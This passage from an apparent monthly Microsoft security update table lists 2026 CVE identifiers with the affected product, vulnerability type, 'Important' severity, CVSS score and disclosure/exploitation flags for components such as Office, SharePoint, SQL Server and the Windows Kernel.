Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  